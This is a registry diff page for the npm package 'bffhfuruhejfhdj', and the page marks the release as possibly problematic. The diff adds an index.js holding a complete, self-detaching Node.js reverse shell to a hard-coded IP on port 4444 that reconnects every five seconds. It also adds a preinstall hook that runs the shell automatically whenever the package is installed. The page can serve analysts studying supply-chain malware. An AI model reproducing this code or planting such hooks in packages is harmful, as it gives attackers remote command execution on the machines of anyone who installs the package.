bffhfuruhejfhdj 0.0.1-security → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bffhfuruhejfhdj might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +66 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,66 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ const HOST = "134.209.149.207"; // Replace with the attacker's IP
5
+ const PORT = 4444; // Match this with the listener port
6
+
7
+ function startReverseShell() {
8
+ const client = new net.Socket();
9
+
10
+ client.connect(PORT, HOST, () => {
11
+ console.log(`Connected to ${HOST}:${PORT}`);
12
+
13
+ // Spawn a shell
14
+ const shell = spawn("/bin/sh", []);
15
+
16
+ // Stream data from client to shell stdin
17
+ client.on("data", (data) => {
18
+ try {
19
+ shell.stdin.write(data);
20
+ } catch (err) {
21
+ console.error("Error writing to shell stdin:", err.message);
22
+ }
23
+ });
24
+
25
+ // Stream shell stdout to client
26
+ shell.stdout.on("data", (data) => {
27
+ client.write(data);
28
+ });
29
+
30
+ // Stream shell stderr to client
31
+ shell.stderr.on("data", (data) => {
32
+ client.write(data);
33
+ });
34
+
35
+ // Handle shell closure
36
+ shell.on("close", () => {
37
+ console.log("Shell process closed. Ending connection.");
38
+ client.end();
39
+ });
40
+ });
41
+
42
+ // Handle client socket errors
43
+ client.on("error", (err) => {
44
+ console.error("Client connection error:", err.message);
45
+ setTimeout(startReverseShell, 5000); // Reconnect after 5 seconds
46
+ });
47
+
48
+ // Handle client socket closure
49
+ client.on("close", () => {
50
+ console.log("Client connection closed. Reconnecting...");
51
+ setTimeout(startReverseShell, 5000); // Reconnect after 5 seconds
52
+ });
53
+ }
54
+
55
+ // Self-detach into background mode
56
+ if (process.argv.includes("--background")) {
57
+ startReverseShell();
58
+ } else {
59
+ const backgroundProcess = spawn("node", [__filename, "--background"], {
60
+ detached: true,
61
+ stdio: "ignore", // Suppress output
62
+ });
63
+
64
+ backgroundProcess.unref();
65
+ console.log("Process complete. Reverse shell running in the background.");
66
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "bffhfuruhejfhdj",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=bffhfuruhejfhdj for more information.